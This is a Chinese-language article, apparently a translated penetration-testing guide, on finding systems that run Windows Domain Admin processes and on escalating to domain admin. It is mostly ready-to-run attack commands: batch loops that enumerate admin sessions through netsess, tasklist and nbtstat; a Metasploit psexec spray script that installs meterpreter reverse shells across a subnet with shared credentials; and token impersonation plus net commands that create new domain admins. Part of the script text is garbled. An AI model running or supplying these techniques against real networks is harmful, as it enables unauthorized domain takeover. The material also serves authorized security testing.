五種尋找 「Domain Admin」 運行的進程的方法
前言
當計算機加入到域後,默認將"Domain Admin"組賦予了本地系統管理員的許可權。也就是說,在計算機添加到域,成為域的成員主機的過程中,系統將會自動把"Domain Admin"域組添加到本地的Administrators組中。因此,只要是Domain Admin組的成員均可訪問本地計算機,而且具備"完全控制"的許可權。
因此對於滲透測試人員來說,把"Domain Admin"域組添加到本地的Administrators組中是他們模擬域管理員帳戶操作的常用方式。不過前提是,他們需要知道這些進程正在運行的系統。在本文中,五種尋找 "Domain Admin" 運行的進程的方法,其中涉及的技術包括:
1.本地檢查;
2.查詢活動域用戶會話的域控制器;
3.掃描運行任務的遠程系統;
4.掃描NETBIOS協議信息的遠程系統
5.用於令牌驗證的PSExec Shell噴洒遠程系統
獲取域管理許可權
本文在大多數情況下,都將重點關注運行域管理進程的系統。不過即便如此,我還是要介紹一下很多滲透測試人員用來獲取域管理員許可權的標準過程。
1.識別目標系統和應用程序;
2.識別潛在的漏洞;
3.利用漏洞獲取初始訪問許可權;
4.升級受感染系統的許可權;
5.在本地或遠程系統上找到域管理進程或身份驗證令牌;
6.通過發送本地管理員的密碼哈希,破解密碼或使用mimikatz這樣的工具來轉儲密碼,來對運行域管理進程的遠程系統進行身份驗證;
7.進入到域管理過程;
8.創建一個域管理;
以上過程是滲透測試的通用步驟,所以沒有必要值得多介紹。如果你對細節感興趣,網上都有大量的教材。
查找域管理進程
以下就是我在網路上查到的查找域管理進程的5種技術。
技術1:本地檢查
請務必首先檢查最初被破壞的系統,如果你已經存在於域管理進程中,那麼在網路上運行真的沒什麼意義了。以下是使用本機命令檢查是否有任何域管理進程正在運行的簡單方法:
1.運行以下命令以獲取域管理員列表:
net group 「Domain Admins」 /domain;
2.運行Tasklist /v命令以列出進程和進程用戶,運行該過程的帳戶應該在第7列;
3.將任務列表與域管理員列表交叉引用,查看你是否進入域管理進程中;
如果域管理進程始終是在最初受到攻擊的系統上運行,那就太好了,但這屬於理想的情況。所以接下來的四種技術將幫助你在各種情況下的遠程域系統上找到域管理進程。
技巧2:查詢域控制器的活動域用戶會話
據我所知,這項技術是安全公司Netspi的原創技術。我們需要一種用來識別活動的域管理進程和登錄,而不是在整個網路上執行shell噴洒或執行任何會引發「入侵檢測系統」的掃描。最終,我發現只需簡單地查詢以獲取一個活動域用戶會話列表即可,然後將該列表與域管理列表交叉引用。唯一可能出現問題的環節,就是你必須查詢所有的域控制器。下面是我提供的一些基本步驟,以獲得具有域用戶許可權的活動域管理會話的系統列表。
1.使用LDAP查詢或net命令從「域控制器」OU中收集域控制器的列表,以下是我用過的一個net命令:
net group 「Domain Controllers」 /domain
請注意:雖然OU是域控制器列表的最佳來源,但前提是,你要對受信任域完成枚舉並監控這些域控制器的過程。或者,你可以通過DNS查找它們:Nslookup –type=SRV _ldap._tcp.
2.使用LDAP查詢或net命令從「域管理員」組中收集域管理員的列表。以下是我用過的一個net命令:
net group 「Domain Admins」 /domain
3.通過使用Netsess.exe查詢每個域控制器,收集所有活動域會話的列表。 Netsess工具是Joe Richards提供的一個很棒的工具,它裡面包含了本地Windows函數「netsessionenum」。該函數可以返回活動會話的IP地址、域帳戶、會話啟動時間和空閑時間。以下是我用過的一個net命令:
Netsess.exe –h
4.將Domain Admin列表與活動會話列表交叉引用,以確定哪些IP地址上有活動的域令牌。在更安全的環境中,你可能需要等待具有域管理員許可權的域管理員或服務帳戶在網路上執行此操作。不過這意味著我需要多次運行這個過程,或者把它編寫出來。下面是一個使用了netsess的非常快速和具有攻擊力的Windows命令行腳本。
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
不過請注意,dcs.txt有一個域控制器列表,admins.txt有一個Domain Admins列表。
技術3:掃描用於運行任務的遠程系統
通常情況下,前兩種方法已足以保證我取得成功。然而,山外有山,這第三種技術,就是我在LaNMSteR53的博客上看到的,我認為這是一個聰明的方法。當你在域系統上作為共享的本地管理員帳戶運行時,就可以通過以下的腳本來掃描系統域管理任務。與以上的技術類似,你需要首先枚舉Domain Admins。在下面的腳本中,ips.txt包含目標系統的列表,而names.txt包含域管理員的列表。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
技術4:掃描NetBIOS信息的遠程系統
某些Windows系統仍然允許用戶通過NetBIOS查詢查詢登錄用戶,你可以使用本機nbtstat工具查詢信息,在nbtstat結果中,用戶名由「」表示。
1.下面是另一個快速而具有攻擊的Windows命令行腳本,它將掃描遠程系統,找到活動的Domain Admins會話。注意:該腳本可以作為非域用戶運行。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
2.你也可以使用運行速度稍快的nbtscan工具,下面是另一個基本的腳本命令:
for /F %i in (ips.txt) do @echo[+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
技術5:用於身份驗證令牌遠程系統的PSExec Shell噴洒技術
Psexec「Shell spray」是在Metasploit中的Psexec模塊的數百個系統上安裝Shell(通常是meterpreter),從而使用共享的本地管理憑證。許多測試人員使用此方法與其他Metasploit功能一起來識別域管理令牌。雖然這是我最不喜歡的技術,但由於pentest社區的很多人都在積極使用它,我覺得我需要把它包括進來。不過,在運行環境中同時啟動500個shell可能會導致客戶的系統運行出現問題。確切的說,擁有500個shell意味著你可以更快地獲取數據。下面是我見過很多人使用的步驟:
1.安裝Metasploit 3.5及其以上版本;
2.將下面的腳本複製到一個文本文件中,並保存到Metasploit目錄中作為psexec_spray.rc,它是我最初在Jabra的博客上發現的腳本。
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup憑證使用windows/smb/psexec設置SMBPass。
#Setup域作為本地主機,只有使用域憑據才能設置SMBDomain。在#Disable有效載荷處理程序的psexec模塊中(使用多處理程序)用set DisablePayloadHandler true #Run Ruby代碼掃描所需網路範圍的使用的REX API屬性:
range walker #note: could also accept ip addresses from a file by replacing rhosts =」192.168.74.0/24」 with rhosts = File.readlines(「c:systems.txt」) require 『rex/socket/range_walk
3.更新smbuser和smbpass參數;
4.發出msfconsole –r psexec_spray.rc命令來運行該腳本。psexec_spray.rc腳本將嘗試使用所提供的憑證在每個系統的192.168.1.0/24網路中隨意安裝meterpreter shell。
5.然後,你可以使用Metasploit模塊中的token_hunter來識別每個帶shell
系統上的域管理令牌。步驟如下:
5.1 創建一個包含Domain Admins列表的文件,如下所示:COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
5.2 在msfconsole msf> load token_hunter中載入token_hunter模塊;
5.3 運行令牌捕獲工具來列出包含域管理令牌的會話 msf> token_hunt_user -f /tmp/domain-admin.txt
6.或者,可以使用Sessions –s loggedin
命令從每個帶shell的系統中獲取當前登錄用戶的列表,並手動查找Domain Admins。
添加新的域管理員
如果你已經獲取了meterpreter會話,則可以使用隱身模式來模擬域管理員,或者添加新的域管理員。隱身模式可以嘗試通過遍歷系統中所有可用的授權令牌來隨意添加新的域管理員。下面是在meterpreter中執行該操作的基本命令。
1.使用load incongnito命令在你的活動meterpreter會話中載入隱身模式;
2.嘗試利用以下命令,在系統上添加具有身份驗證令牌的域管理員:
add_user -h
add_group 「」Domain Admins」」 -h
如果你有興趣使用其他選項創建新的域管理員,則可以使用以下說明:
1.在meterpreter控制台中,輸入PS命令以查看進程;
2.在meterpreter控制台中,通過migrate命令找到域管理會話並進行遷移;
3.在meterpreter控制台中,輸入shell命令獲取OS shell;
4.輸入以下本機Windows命令來添加新的域管理員:
net user /add /domain
net group 「Domain Admins」 /add /domain
總結
正如本文所述,有很多選項可用於識別域管理進程和身份驗證令牌。我建議使用對系統影響較低的方法,相信隨著時間的推移,人們會想出更好的想法。
※卡巴斯基——Energetic Bear/Crouching Yeti APT分析報告
※惡意軟體監控之利用PyREBox進行惡意軟體分析
TAG:嘶吼RoarTalk |